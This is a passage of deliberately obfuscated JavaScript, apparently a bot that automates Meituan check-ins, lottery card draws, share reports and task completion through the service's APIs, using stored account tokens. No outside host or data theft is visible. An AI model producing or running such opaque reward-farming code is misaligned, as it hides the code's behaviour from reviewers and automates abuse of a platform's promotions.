_0x3f8eea={'\x66\x6e':_0xfc1cbf[_0x35771a(0x2ad4)],'\x6d\x65\x74\x68\x6f\x64':_0x35771a(0x33ab),'\x75\x72\x6c':_0x35771a(0x3558)+_0x35771a(0x1f10)+'\x6f\x6d\x6f\x74\x69'+_0x35771a(0xa48)+_0x35771a(0x26e9)+_0x35771a(0x339c)+_0x35771a(0x22b2)+_0x35771a(0x2806)+_0x35771a(0x1a0a)+'\x65\x72\x2f\x63\x6f'+_0x35771a(0x444)+_0x35771a(0x188c)+'\x6f\x63\x6b\x2d\x69'+_0x35771a(0x3335)+_0x35771a(0x21a9),'\x73\x65\x61\x72\x63\x68\x50\x61\x72\x61\x6d\x73':{'\x61\x63\x74\x69\x76\x69\x74\x79\x56\x69\x65\x77\x49\x64':_0x3c2b5d,'\x63\x74\x79\x70\x65':_0x18d7a9[_0x35771a(0x33ab)](_0x3e06b7,_0x35771a(0x1868),_0xfc1cbf['\x6c\x45\x57\x4b\x58']),'\x69\x73\x49\x6e\x44\x70\x45\x6e\x76':0x0}},{result:_0x57a7bb}=await this[_0x35771a(0x734)+'\x73\x74'](_0x3f8eea),_0x5358b6=_0x18d7a9[_0x35771a(0x33ab)](_0x57a7bb,_0xfc1cbf[_0x35771a(0x2c03)],-(-0x1f*0x3d+0x19a1+-0x123d));if(_0xfc1cbf[_0x35771a(0x1a6b)](_0x5358b6,0x25cb+0x17ed+0x9e*-0x64)){let _0x5d3767=new Date()['\x67\x65\x74\x44\x61'+'\x79']();for(let _0x594823 of _0x57a7bb[_0x35771a(0x1277)][_0x35771a(0xb19)+'\x49\x6e\x53\x74\x61'+_0x35771a(0x21a9)]){if(_0xfc1cbf['\x4d\x71\x4e\x54\x58'](_0xfc1cbf[_0x35771a(0xa7f)](_0x594823[_0x35771a(0x31d9)+_0x35771a(0x2225)],0xa7f*-0x1+0x231c+0x1896*-0x1),_0x5d3767)){const _0xd3c828={};_0xd3c828[_0x35771a(0xe9c)]=_0x3c2b5d,this[_0x35771a(0x3e5)](_0x35771a(0x61e)+(_0x594823[_0x35771a(0x3103)+'\x73']?'\u5df2':'\u672a')+(_0x35771a(0x4df)+_0x35771a(0x18dc))+_0x57a7bb['\x64\x61\x74\x61'][_0x35771a(0xb19)+_0x35771a(0x2cd7)]+'\u5929',_0xd3c828);if(!_0x594823[_0x35771a(0x3103)+'\x73'])await this['\x63\x6c\x6f\x63\x6b'+_0x35771a(0x2b3a)+'\x6e'](_0x3c2b5d);break;}}_0xfc1cbf['\x6d\x50\x6a\x59\x4d'](_0x57a7bb[_0x35771a(0x1277)][_0x35771a(0x12ad)+'\x72\x79\x53\x74\x61'+'\x74\x75\x73'],-0x3e*0xd+0x3*0x7db+-0x146a)&&await this[_0x35771a(0x1adc)+_0x35771a(0x2c2d)+'\x6f\x6e'](_0x3c2b5d,-0x2*-0x8c9+0x2269+-0x3012);}else{let _0x286cc6=_0x57a7bb?.[_0x35771a(0xc63)]||_0x57a7bb?.[_0x35771a(0x1038)+'\x67\x65']||'';const _0x1ef628={};_0x1ef628[_0x35771a(0xe9c)]=_0x3c2b5d,this[_0x35771a(0x3e5)](_0x35771a(0x26ab)+_0x35771a(0xd90)+_0x5358b6+_0x35771a(0x985)+_0x286cc6,_0x1ef628);}}catch(_0x4f7f13){console[_0x35771a(0x3e5)](_0x4f7f13);}}async['\x63\x6c\x6f\x63\x6b'+'\x49\x6e\x53\x69\x67'+'\x6e'](_0x6bc4c8,_0x2e59f5={}){const _0x2c9c29=_0xcdce93,_0x153203={};_0x153203[_0x2c9c29(0x2536)]='\x63\x6c\x6f\x63\x6b'+_0x2c9c29(0x2b3a)+'\x6e',_0x153203[_0x2c9c29(0x64e)]=_0x2c9c29(0x2272),_0x153203['\x49\x75\x4b\x49\x6a']=_0x2c9c29(0x1868),_0x153203[_0x2c9c29(0x7e2)]='\x77\x6d\x5f\x77\x78'+_0x2c9c29(0x2edf),_0x153203[_0x2c9c29(0xb8a)]=_0x2c9c29(0x3168);const _0x1ca928=_0x153203;try{const _0x5bf8ba={};_0x5bf8ba[_0x2c9c29(0x26c5)+_0x2c9c29(0x1a1c)+_0x2c9c29(0x131c)]=_0x6bc4c8,_0x5bf8ba[_0x2c9c29(0x11ff)+'\x6e\x43\x6f\x64\x65']=0x3e9,_0x5bf8ba[_0x2c9c29(0x11a6)]=_0x5d532f,_0x5bf8ba[_0x2c9c29(0x881)]=_0x1c0016;let _0x5cee6d={'\x66\x6e':_0x1ca928[_0x2c9c29(0x2536)],'\x6d\x65\x74\x68\x6f\x64':_0x1ca928[_0x2c9c29(0x64e)],'\x75\x72\x6c':_0x2c9c29(0x3558)+_0x2c9c29(0x1f10)+_0x2c9c29(0x239a)+_0x2c9c29(0xa48)+_0x2c9c29(0x26e9)+'\x6d\x65\x69\x74\x75'+_0x2c9c29(0x22b2)+_0x2c9c29(0x2806)+_0x2c9c29(0x1a0a)+'\x65\x72\x2f\x63\x6f'+'\x6d\x6d\x6f\x6e\x2f'+'\x76\x31\x2f\x63\x6c'+_0x2c9c29(0x23eb)+'\x6e','\x73\x65\x61\x72\x63\x68\x50\x61\x72\x61\x6d\x73':{'\x69\x73\x4d\x69\x6e\x69':0x1,'\x63\x74\x79\x70\x65':_0x18d7a9[_0x2c9c29(0x33ab)](_0x2e59f5,_0x1ca928[_0x2c9c29(0x24f8)],_0x1ca928[_0x2c9c29(0x7e2)]),'\x69\x73\x49\x6e\x44\x70\x45\x6e\x76':0x0},'\x6a\x73\x6f\x6e':_0x5bf8ba},{result:_0x4971f4}=await this['\x72\x65\x71\x75\x65'+'\x73\x74'](_0x5cee6d),_0x3b1eaf=_0x18d7a9['\x67\x65\x74'](_0x4971f4,_0x2c9c29(0x1e07),-(0x2*0x1c+0x56*-0x26+-0x1*-0xc8d));if(_0x3b1eaf==0xc3e*0x3+-0x15cf+-0xeeb){let _0x2f0b24=_0x4971f4?.['\x64\x61\x74\x61']?.[_0x2c9c29(0x2737)+_0x2c9c29(0x1580)+_0x2c9c29(0x2ce3)]?.['\x6d\x61\x70'](_0x30b0a5=>'\x5b'+_0x30b0a5[_0x2c9c29(0x14a2)+_0x2c9c29(0x14b1)][_0x2c9c29(0x14a2)+_0x2c9c29(0x15bd)+'\x65']+'\x5d'+(_0x30b0a5['\x63\x6f\x75\x70\x6f'+_0x2c9c29(0x14b1)][_0x2c9c29(0x172e)+_0x2c9c29(0x18c)]||_0x2c9c29(0x2ffa))+'\u51cf'+_0x30b0a5[_0x2c9c29(0x14a2)+'\x6e\x49\x6e\x66\x6f'][_0x2c9c29(0x14a2)+'\x6e\x56\x61\x6c\x75'+'\x65']);const _0x2d58f4={};_0x2d58f4[_0x2c9c29(0xe9c)]=_0x6bc4c8,this[_0x2c9c29(0x1f61)+_0x2c9c29(0x5b9)+_0x2c9c29(0xf95)](_0x2f0b24,_0x2c9c29(0xe8f)+'\u5238',_0x2d58f4);}else{let _0x55cec8=_0x4971f4?.[_0x2c9c29(0xc63)]||_0x4971f4?.[_0x2c9c29(0x1038)+'\x67\x65']||'';if(!_0x55cec8?.[_0x2c9c29(0x13b6)+_0x2c9c29(0xf9b)](_0x2c9c29(0x3b0))&&!_0x55cec8?.[_0x2c9c29(0x13b6)+_0x2c9c29(0xf9b)]('\u52a8\u4f5c\u4e0d\u6ee1\u8db3'+'\u6267\u884c\u6761\u4ef6')&&!_0x55cec8?.['\x69\x6e\x63\x6c\x75'+_0x2c9c29(0xf9b)](_0x1ca928[_0x2c9c29(0xb8a)])||_0x2f9d09){const _0x588af7={};_0x588af7[_0x2c9c29(0xe9c)]=_0x6bc4c8,this['\x6c\x6f\x67'](_0x2c9c29(0xf5)+'\u8d25\x5b'+_0x3b1eaf+_0x2c9c29(0x985)+_0x55cec8,_0x588af7);}}}catch(_0x2430ee){console['\x6c\x6f\x67'](_0x2430ee);}}async[_0xcdce93(0x3401)+_0xcdce93(0x304e)+_0xcdce93(0x110a)](_0x308e2d={}){const _0x4185f=_0xcdce93,_0x1d069e={};_0x1d069e[_0x4185f(0x3196)]=_0x4185f(0x3401)+_0x4185f(0x304e)+'\x79\x4e\x75\x6d',_0x1d069e[_0x4185f(0x2615)]=_0x4185f(0x2272),_0x1d069e[_0x4185f(0x1241)]=_0x4185f(0x33d3),_0x1d069e[_0x4185f(0x96b)]=_0x4185f(0x1b27)+_0x4185f(0x33e3)+_0x4185f(0x3490)+_0x4185f(0x2467),_0x1d069e[_0x4185f(0x28b6)]=function(_0x43c397,_0x9e75ad){return _0x43c397>=_0x9e75ad;};const _0x3edcd5=_0x1d069e;try{const _0xac44a2={};_0xac44a2['\x66\x6e']=_0x3edcd5[_0x4185f(0x3196)],_0xac44a2['\x6d\x65\x74\x68\x6f'+'\x64']=_0x3edcd5[_0x4185f(0x2615)],_0xac44a2['\x75\x72\x6c']=_0x4185f(0x3558)+_0x4185f(0x2e88)+'\x6d\x2e\x6d\x65\x69'+_0x4185f(0x28dc)+'\x63\x6f\x6d\x2f\x6d'+_0x4185f(0x271)+_0x4185f(0xa21)+_0x4185f(0x2970)+'\x6f\x6c\x6c\x65\x63'+'\x74\x2f\x61\x70\x69'+_0x4185f(0x19e3)+_0x4185f(0x2116)+_0x4185f(0x242f),_0xac44a2[_0x4185f(0xd59)]={},_0xac44a2[_0x4185f(0xd59)][_0x4185f(0x26c5)+_0x4185f(0x17ec)]=_0x3edcd5['\x70\x44\x6a\x50\x48'],_0xac44a2[_0x4185f(0xd59)][_0x4185f(0x2fe9)+_0x4185f(0xa58)+'\x74']=[_0x4185f(0x7df)+_0x4185f(0x3c7)+_0x4185f(0x33d4)+_0x4185f(0x1e4e),_0x4185f(0x7df)+_0x4185f(0x315f)+_0x4185f(0x1a3a)+_0x4185f(0x31f4),_0x3edcd5[_0x4185f(0x96b)]];let _0xabde9f=_0xac44a2,{result:_0x2526bf}=await this[_0x4185f(0x734)+'\x73\x74'](_0xabde9f);if(_0x3edcd5['\x4b\x55\x62\x41\x4e'](_0x2526bf?.[_0x4185f(0x12ad)+'\x72\x79\x4e\x75\x6d'],-0x2*-0x86d+0x214d+0x3227*-0x1)){let _0x37032b=_0x2526bf['\x6c\x6f\x74\x74\x65'+_0x4185f(0x242f)];this[_0x4185f(0x3e5)]('\u6709'+_0x37032b+('\u6b21\u62bd\u6708\u7b26\u673a'+'\u4f1a'));while(_0x37032b-->0x2520+-0x12a*-0x19+-0x15a*0x31){await this[_0x4185f(0x12ad)+_0x4185f(0x21b5)+'\x6d\x70\x6f\x6f\x6c'](_0x2526bf[_0x4185f(0x2ad9)+_0x4185f(0x296e)]);}}else{let _0x1e1792=_0x2526bf?.[_0x4185f(0xc63)]||_0x2526bf?.['\x6d\x65\x73\x73\x61'+'\x67\x65']||'';this[_0x4185f(0x3e5)](_0x4185f(0x2b7a)+_0x4185f(0x598)+'\x20'+_0x1e1792);}}catch(_0x5e4cb8){console[_0x4185f(0x3e5)](_0x5e4cb8);}}async[_0xcdce93(0x139e)+_0xcdce93(0x87f)+_0xcdce93(0x6c4)](_0x44e5f4={}){const _0x358df4=_0xcdce93;try{const _0x52f426={};_0x52f426['\x70\x6c\x61\x79\x65'+'\x72\x49\x64']=0x1;const _0x3af213={};_0x3af213['\x66\x6e']=_0x358df4(0x139e)+_0x358df4(0x87f)+_0x358df4(0x6c4),_0x3af213['\x6d\x65\x74\x68\x6f'+'\x64']=_0x358df4(0x2272),_0x3af213[_0x358df4(0x9ed)]=_0x358df4(0x3558)+'\x3a\x2f\x2f\x6d\x67'+_0x358df4(0x18e8)+_0x358df4(0x28dc)+_0x358df4(0x475)+_0x358df4(0x271)+_0x358df4(0xa21)+_0x358df4(0x2970)+_0x358df4(0x30cc)+'\x74\x2f\x61\x70\x69'+_0x358df4(0x8ca)+_0x358df4(0x3326)+'\x73',_0x3af213[_0x358df4(0xd59)]=_0x52f426;let _0x341fa0=_0x3af213;await this[_0x358df4(0x734)+'\x73\x74'](_0x341fa0);}catch(_0x487c09){console[_0x358df4(0x3e5)](_0x487c09);}}async[_0xcdce93(0x139e)+_0xcdce93(0xa8e)+_0xcdce93(0x1c6c)](_0x3b93a0={}){const _0x462d80=_0xcdce93,_0x13c9fb={};_0x13c9fb['\x71\x70\x5a\x62\x73']=_0x462d80(0xee8)+_0x462d80(0x1003)+'\x72\x65',_0x13c9fb[_0x462d80(0x601)]='\x70\x6f\x73\x74';const _0x33d5ae=_0x13c9fb;try{const _0x134e08={};_0x134e08['\x70\x6c\x61\x79\x65'+_0x462d80(0x2478)]=0x1,_0x134e08['\x73\x68\x61\x72\x65'+'\x57\x61\x79']=0x1,_0x134e08[_0x462d80(0x1a65)+_0x462d80(0xaeb)+_0x462d80(0x1c99)+'\x65']=0x1,_0x134e08[_0x462d80(0x1a65)+'\x43\x6f\x6e\x74\x65'+'\x6e\x74\x49\x64']='\x32\x39';const _0x54eef7={};_0x54eef7['\x66\x6e']=_0x33d5ae['\x71\x70\x5a\x62\x73'],_0x54eef7['\x6d\x65\x74\x68\x6f'+'\x64']=_0x33d5ae[_0x462d80(0x601)],_0x54eef7[_0x462d80(0x9ed)]='\x68\x74\x74\x70\x73'+_0x462d80(0x2e88)+_0x462d80(0x18e8)+_0x462d80(0x28dc)+_0x462d80(0x475)+_0x462d80(0x271)+_0x462d80(0xa21)+_0x462d80(0x2970)+_0x462d80(0x30cc)+_0x462d80(0x12c8)+_0x462d80(0x8ca)+'\x53\x68\x61\x72\x65',_0x54eef7[_0x462d80(0xd59)]=_0x134e08;let _0x2edf9c=_0x54eef7;await this['\x72\x65\x71\x75\x65'+'\x73\x74'](_0x2edf9c);}catch(_0x183e0b){console[_0x462d80(0x3e5)](_0x183e0b);}}async[_0xcdce93(0x12ad)+'\x72\x79\x66\x72\x6f'+'\x6d\x70\x6f\x6f\x6c'](_0x3a1c1f,_0x480943={}){const _0x17c409=_0xcdce93,_0x147cef={};_0x147cef[_0x17c409(0x25ae)]=_0x17c409(0x2272);const _0xb989f=_0x147cef;try{const _0x3b528b={};_0x3b528b[_0x17c409(0x32cf)+_0x17c409(0x2ce3)]=_0x3a1c1f;const _0x5abb54={};_0x5abb54['\x66\x6e']=_0x17c409(0x12ad)+_0x17c409(0x21b5)+_0x17c409(0x1d3c),_0x5abb54[_0x17c409(0x12a3)+'\x64']=_0xb989f[_0x17c409(0x25ae)],_0x5abb54[_0x17c409(0x9ed)]=_0x17c409(0x3558)+_0x17c409(0x2e88)+_0x17c409(0x18e8)+_0x17c409(0x28dc)+_0x17c409(0x475)+'\x61\x72\x6b\x65\x74'+_0x17c409(0xa21)+_0x17c409(0x2970)+'\x6f\x6c\x6c\x65\x63'+_0x17c409(0x12c8)+_0x17c409(0x3576)+_0x17c409(0x1de)+_0x17c409(0xa72)+'\x6c',_0x5abb54[_0x17c409(0xd59)]=_0x3b528b;let _0x4ad0e2=_0x5abb54,{result:_0x4b5632}=await this[_0x17c409(0x734)+'\x73\x74'](_0x4ad0e2);if(_0x4b5632?.[_0x17c409(0x2737)+'\x49\x6e\x66\x6f']?.[_0x17c409(0x1131)])this[_0x17c409(0x3e5)]('\u62bd\u5230\u6708\u7b26\x3a'+'\x20\x5b'+_0x4b5632?.[_0x17c409(0x2737)+'\x49\x6e\x66\x6f']?.[_0x17c409(0x1131)]+'\x5d'),await this[_0x17c409(0x1f52)+_0x17c409(0x2250)+'\x6f'](_0x4b5632?.[_0x17c409(0x12ad)+_0x17c409(0x3e2)+_0x17c409(0x14c1)+_0x17c409(0xa97)]?.[_0x17c409(0x12d3)]);else{let _0xa3ea3b=_0x4b5632?.[_0x17c409(0xc63)]||_0x4b5632?.[_0x17c409(0x1038)+'\x67\x65']||'';this['\x6c\x6f\x67'](_0x17c409(0x1f87)+'\x3a\x20'+_0xa3ea3b);}}catch(_0x1846b6){console['\x6c\x6f\x67'](_0x1846b6);}}async[_0xcdce93(0x1f52)+'\x72\x64\x49\x6e\x66'+'\x6f'](_0x1b5e63,_0x40633c={}){const _0x597da3=_0xcdce93,_0x5b7b82={};_0x5b7b82['\x68\x42\x79\x4c\x77']='\x67\x65\x74\x43\x61'+_0x597da3(0x2250)+'\x6f',_0x5b7b82[_0x597da3(0x11f7)]=_0x597da3(0x33ab),_0x5b7b82[_0x597da3(0xec4)]=function(_0x4a113d,_0x38fc8e){return _0x4a113d==_0x38fc8e;};const _0x566cc2=_0x5b7b82;try{const _0x6a2488={};_0x6a2488[_0x597da3(0x12ad)+_0x597da3(0x3e2)+_0x597da3(0x14c1)+_0x597da3(0xa97)]=_0x1b5e63;const _0x50d5d3={};_0x50d5d3['\x66\x6e']=_0x566cc2[_0x597da3(0x256a)],_0x50d5d3[_0x597da3(0x12a3)+'\x64']=_0x566cc2[_0x597da3(0x11f7)],_0x50d5d3['\x75\x72\x6c']=_0x597da3(0x3558)+'\x3a\x2f\x2f\x6d\x67'+_0x597da3(0x18e8)+_0x597da3(0x28dc)+'\x63\x6f\x6d\x2f\x6d'+_0x597da3(0x271)+'\x69\x6e\x67\x2f\x63'+'\x61\x72\x64\x73\x43'+'\x6f\x6c\x6c\x65\x63'+_0x597da3(0x12c8)+'\x2f\x67\x65\x74\x43'+_0x597da3(0x321e)+'\x66\x6f',_0x50d5d3[_0x597da3(0x22e2)+_0x597da3(0x554)+'\x6d\x73']=_0x6a2488;let _0x549962=_0x50d5d3,{result:_0x3de2}=await this[_0x597da3(0x734)+'\x73\x74'](_0x549962),_0x7de4b7=_0x18d7a9[_0x597da3(0x33ab)](_0x3de2,_0x597da3(0x1e07),-(0x2fc+-0x1*0x4a3+0x1a8));if(_0x566cc2[_0x597da3(0xec4)](_0x7de4b7,0x4c*-0x2b+-0x131+0x3*0x4a7))await this[_0x597da3(0x1f52)+'\x72\x64\x44\x72\x61'+'\x77'](_0x3de2?.[_0x597da3(0x208f)+_0x597da3(0x321e)+'\x66\x6f']?.[_0x597da3(0x224b)+'\x64']);else{let _0x578035=_0x3de2?.[_0x597da3(0xc63)]||_0x3de2?.[_0x597da3(0x1038)+'\x67\x65']||'';this[_0x597da3(0x3e5)]('\u67e5\u8be2\u6708\u7b26\u62bd'+_0x597da3(0x19b9)+'\x5b'+_0x7de4b7+_0x597da3(0x985)+_0x578035);}}catch(_0x327861){console[_0x597da3(0x3e5)](_0x327861);}}async['\x67\x65\x74\x43\x61'+_0xcdce93(0x1aba)+'\x77'](_0x5ca4e2,_0x59909e={}){const _0x48d75c=_0xcdce93,_0x4d96ae={};_0x4d96ae[_0x48d75c(0x1150)]=_0x48d75c(0x1f52)+_0x48d75c(0x1aba)+'\x77',_0x4d96ae[_0x48d75c(0x2d0d)]='\x67\x65\x74';const _0x1f1b24=_0x4d96ae;try{const _0x1449b7={};_0x1449b7[_0x48d75c(0x224b)+'\x64']=_0x5ca4e2;const _0x5ad3fa={};_0x5ad3fa['\x66\x6e']=_0x1f1b24[_0x48d75c(0x1150)],_0x5ad3fa['\x6d\x65\x74\x68\x6f'+'\x64']=_0x1f1b24['\x70\x45\x50\x44\x68'],_0x5ad3fa[_0x48d75c(0x9ed)]=_0x48d75c(0x3558)+_0x48d75c(0x2e88)+_0x48d75c(0x18e8)+'\x74\x75\x61\x6e\x2e'+_0x48d75c(0x475)+_0x48d75c(0x271)+_0x48d75c(0xa21)+'\x61\x72\x64\x73\x43'+_0x48d75c(0x30cc)+_0x48d75c(0x12c8)+_0x48d75c(0x441),_0x5ad3fa[_0x48d75c(0x22e2)+_0x48d75c(0x554)+'\x6d\x73']=_0x1449b7;let _0x57421e=_0x5ad3fa,{result:_0x1c91a9}=await this[_0x48d75c(0x734)+'\x73\x74'](_0x57421e);if(_0x1c91a9?.[_0x48d75c(0x25e8)]?.[_0x48d75c(0x12d3)])this[_0x48d75c(0x3e5)](_0x48d75c(0x26f4)+'\x20'+_0x1c91a9?.[_0x48d75c(0x2737)+_0x48d75c(0xc47)]?.[_0x48d75c(0x1131)]);else{let _0x57e83c=_0x1c91a9?.[_0x48d75c(0xc63)]||_0x1c91a9?.['\x6d\x65\x73\x73\x61'+'\x67\x65']||'';this[_0x48d75c(0x3e5)](_0x48d75c(0xc7a)+'\u5956\u7ed3\u679c\u5931\u8d25'+'\x3a\x20'+_0x57e83c);}}catch(_0x85faf){console[_0x48d75c(0x3e5)](_0x85faf);}}async[_0xcdce93(0x22a1)+_0xcdce93(0x672)+'\x6b\x73'](_0x519e87,_0x2ce2b7={}){const _0x109270=_0xcdce93,_0x19d1b8={};_0x19d1b8[_0x109270(0x30d)]='\x67\x65\x74\x55\x73'+_0x109270(0x672)+'\x6b\x73',_0x19d1b8[_0x109270(0x1fdf)]=_0x109270(0x2272),_0x19d1b8[_0x109270(0xc24)]=_0x109270(0x1ad3)+'\x55\x41\x4e',_0x19d1b8[_0x109270(0x1d89)]=function(_0x284c35,_0x4a9108){return _0x284c35==_0x4a9108;},_0x19d1b8['\x65\x6d\x48\x6c\x6b']=_0x109270(0x2c98)+_0x109270(0xd3),_0x19d1b8[_0x109270(0x1c8c)]=_0x109270(0x20ac)+'\x45',_0x19d1b8[_0x109270(0x299)]=function(_0x4cf4d0,_0x5ccc02){return _0x4cf4d0==_0x5ccc02;},_0x19d1b8[_0x109270(0x15c8)]=_0x109270(0x160d)+_0x109270(0xaca)+'\x45',_0x19d1b8[_0x109270(0x1e08)]=function(_0x374868,_0x4d3b41){return _0x374868+_0x4d3b41;},_0x19d1b8[_0x109270(0x8fc)]=function(_0x4dc052,_0x152781){return _0x4dc052*_0x152781;},_0x19d1b8[_0x109270(0x2bdb)]=function(_0x22c6c6,_0x56abd0){return _0x22c6c6<_0x56abd0;},_0x19d1b8['\x71\x61\x62\x48\x73']=_0x109270(0x3323)+_0x109270(0x1e56),_0x19d1b8[_0x109270(0x2b9f)]=function(_0x51eec9,_0x221198){return _0x51eec9<_0x221198;},_0x19d1b8[_0x109270(0x298f)]=function(_0x4e495d,_0x40687b){return _0x4e495d>=_0x40687b;};const _0x163800=_0x19d1b8;try{const _0xa3f43={};_0xa3f43['\x66\x6e']=_0x163800['\x6d\x4c\x74\x4d\x4f'],_0xa3f43['\x6d\x65\x74\x68\x6f'+'\x64']=_0x163800[_0x109270(0x1fdf)],_0xa3f43['\x75\x72\x6c']='\x68\x74\x74\x70\x73'+'\x3a\x2f\x2f\x63\x75'+'\x62\x65\x2e\x6d\x65'+'\x69\x74\x75\x61\x6e'+'\x2e\x63\x6f\x6d\x2f'+_0x109270(0x320c)+_0x109270(0x347)+_0x109270(0x29f6)+_0x109270(0x2061)+'\x2f\x67\x65\x74\x55'+_0x109270(0x34ba)+_0x109270(0x26c0),_0xa3f43[_0x109270(0xd59)]={},_0xa3f43[_0x109270(0xd59)][_0x109270(0x1c06)]=this[_0x109270(0x1c06)],_0xa3f43[_0x109270(0xd59)][_0x109270(0x310a)+'\x64']=this[_0x109270(0x310a)+'\x64'],_0xa3f43[_0x109270(0xd59)][_0x109270(0x21c9)+_0x109270(0x30b1)+_0x109270(0x1c62)]=!![],_0xa3f43[_0x109270(0xd59)][_0x109270(0xc4c)+'\x64']=0x1e,_0xa3f43[_0x109270(0xd59)][_0x109270(0x16d9)+_0x109270(0xd6)]=_0x519e87[_0x109270(0x16d9)+_0x109270(0xd6)],_0xa3f43[_0x109270(0xd59)][_0x109270(0x122b)+_0x109270(0x735)]=_0x163800['\x61\x51\x43\x6a\x77'],_0xa3f43[_0x109270(0xd59)][_0x109270(0x1fc6)+_0x109270(0x2b33)]=_0x163800[_0x109270(0xc24)],_0xa3f43[_0x109270(0xd59)][_0x109270(0x326)+'\x70\x72\x6f\x67\x72'+'\x61\x6d\x5f\x74\x6f'+_0x109270(0x1633)]=this[_0x109270(0x2b88)],_0xa3f43[_0x109270(0xd59)]['\x69\x6e\x76\x69\x74'+'\x65\x72']='',_0xa3f43[_0x109270(0xd59)][_0x109270(0x2177)+_0x109270(0x672)+_0x109270(0x2746)+'\x79']='';let _0x28cbbf=_0xa3f43,{result:_0x58edc2}=await this[_0x109270(0x734)+'\x73\x74'](_0x28cbbf);if(_0x58edc2?.[_0x109270(0x1e07)]==-0x865+0x175f+0x1*-0xefa)for(let _0x137841 of _0x58edc2['\x64\x61\x74\x61']){if(_0x19fe61[_0x109270(0x13b6)+_0x109270(0xf9b)](_0x137841?.[_0x109270(0x1e07)]?.[_0x109270(0x1139)+_0x109270(0x765)]())){}else{if(!_0x137841?.[_0x109270(0x17d3)+_0x109270(0x2736)+'\x73']?.['\x6c\x65\x6e\x67\x74'+'\x68']){_0x18d7a9[_0x109270(0x3e5)](_0x109270(0x25cd)+_0x137841[_0x109270(0x90d)]+_0x109270(0x2799)+_0x137841['\x6d\x73\x67']);continue;}if(_0x137841?.[_0x109270(0x90d)]?.[_0x109270(0x13b6)+_0x109270(0xf9b)](_0x109270(0x1c83)))continue;let _0x1b0237=_0x137841?.[_0x109270(0x7c8)+'\x64']?!![]:![];if(_0x1b0237&&_0x163800[_0x109270(0x1d89)](_0x137841?.[_0x109270(0x7c8)+'\x64']?.['\x69\x73\x53\x69\x67'+_0x109270(0x1d44)+_0x109270(0x1174)],-0x238e+0x2*-0x1217+-0x47bd*-0x1)){_0x18d7a9[_0x109270(0x3e5)]('\u4efb\u52a1\x5b'+_0x137841['\x74\x69\x74\x6c\x65']+(_0x109270(0x2799)+'\u5df2\u5b8c\u6210'));continue;}let _0x552ffd=![];if(_0x137841['\x74\x61\x73\x6b\x43'+_0x109270(0x180f)]){let _0x5a4132=JSON[_0x109270(0xd75)](_0x137841[_0x109270(0x1cc2)+_0x109270(0x180f)]);_0x5a4132['\x69\x73\x43\x68\x65'+_0x109270(0x1f2f)+_0x109270(0x4db)+_0x109270(0x2343)]&&(_0x552ffd=!![]);}for(let _0xb52109 of _0x137841[_0x109270(0x17d3)+_0x109270(0x2736)+'\x73']){if(_0x163800[_0x109270(0x1d89)](_0xb52109[_0x109270(0x3103)+'\x73'],_0x163800[_0x109270(0xb72)])||_0xb52109[_0x109270(0x3103)+'\x73']==_0x163800[_0x109270(0x1c8c)])!_0x1b0237&&_0x18d7a9['\x6c\x6f\x67']('\u4efb\u52a1\x5b'+_0x137841[_0x109270(0x90d)]+(_0x109270(0x2799)+_0x109270(0x118)));else{if(_0x163800[_0x109270(0x299)](_0xb52109?.['\x73\x74\x61\x74\x75'+'\x73'],_0x163800['\x76\x48\x45\x46\x52'])){_0x18d7a9['\x6c\x6f\x67'](_0x109270(0x25cd)+_0x137841['\x74\x69\x74\x6c\x65']+(_0x109270(0x2799)+_0x109270(0x1d9c)));const _0x41d804={};_0x41d804[_0x109270(0x2171)+_0x109270(0x2f74)]=_0x552ffd,await this['\x73\x65\x6e\x64\x54'+'\x61\x73\x6b\x50\x72'+_0x109270(0x24d5)](_0x519e87,_0x137841,_0xb52109,{},_0x41d804);if(_0x1b0237)break;}else{_0x18d7a9[_0x109270(0x3e5)]('\u4efb\u52a1\x5b'+_0x137841['\x74\x69\x74\x6c\x65']+('\x5d\x20\x2d\x2d\x20'+_0x109270(0xc65)));let _0x382a75=!![],_0x28241f=JSON[_0x109270(0xd75)](_0xb52109[_0x109270(0xccc)+_0x109270(0xe4c)]);if(_0x28241f[_0x109270(0xb21)+_0x109270(0x867)]){let _0xbce8ef=_0x163800[_0x109270(0x1e08)](_0xb52109['\x70\x72\x65\x43\x6f'+_0x109270(0x27fc)+_0x109270(0x3588)]||0x11*-0x1a9+-0x1*-0x16a2+0x9*0x9f,_0x163800[_0x109270(0x8fc)](_0x28241f[_0x109270(0xb21)+_0x109270(0x867)],0x168a+0x583*0x5+-0x5*0x93d));_0x163800['\x4c\x67\x49\x54\x4d'](Date[_0x109270(0x3a9)](),_0xbce8ef)&&(_0x382a75=![],_0x18d7a9['\x6c\x6f\x67'](_0x109270(0x25cd)+_0x137841[_0x109270(0x90d)]+(_0x109270(0x19ef)+'\x20\x5b')+_0x18d7a9['\x74\x69\x6d\x65'](_0x163800[_0x109270(0x2d1b)],_0xbce8ef)+_0x109270(0x48b)));}else{if(_0x28241f?.[_0x109270(0x1959)+_0x109270(0x284b)]?.['\x6c\x65\x6e\x67\x74'+'\x68']){let _0x5066c3=new Date(_0x18d7a9[_0x109270(0xa8f)](_0x109270(0x13a5)+_0x109270(0x904)+_0x109270(0x3051)+_0x109270(0x25d3)))[_0x109270(0x1263)+'\x6d\x65'](),_0x4729ca=Date['\x6e\x6f\x77']();for(let _0x4c679e of _0x28241f['\x74\x69\x6d\x65\x4c'+_0x109270(0x284b)]){let {startTime:_0x2ee998,endTime:_0x51b0cd}=_0x4c679e;_0x2ee998+=_0x5066c3,_0x51b0cd+=_0x5066c3,(_0x163800[_0x109270(0x2b9f)](_0x4729ca,_0x2ee998)||_0x163800[_0x109270(0x298f)](_0x4729ca,_0x51b0cd))&&(_0x382a75=![],_0x18d7a9['\x6c\x6f\x67'](_0x109270(0x25cd)+_0x137841[_0x109270(0x90d)]+('\x5d\u4e0d\u5728\u65f6\u95f4'+_0x109270(0x1b9d))+_0x18d7a9[_0x109270(0xa8f)](_0x109270(0x3323)+_0x109270(0x1e56),_0x2ee998)+'\u5230'+_0x18d7a9[_0x109270(0xa8f)](_0x163800['\x71\x61\x62\x48\x73'],_0x51b0cd)));}}}if(_0x382a75){const _0x5e4b0d={};_0x5e4b0d[_0x109270(0x2171)+'\x73\x69\x67\x6e']=_0x552ffd,await this[_0x109270(0x2bd0)+_0x109270(0x43c)+_0x109270(0xecf)](_0x519e87,_0x137841,_0xb52109,_0x5e4b0d);}if(_0x1b0237)break;}}}}}else{let 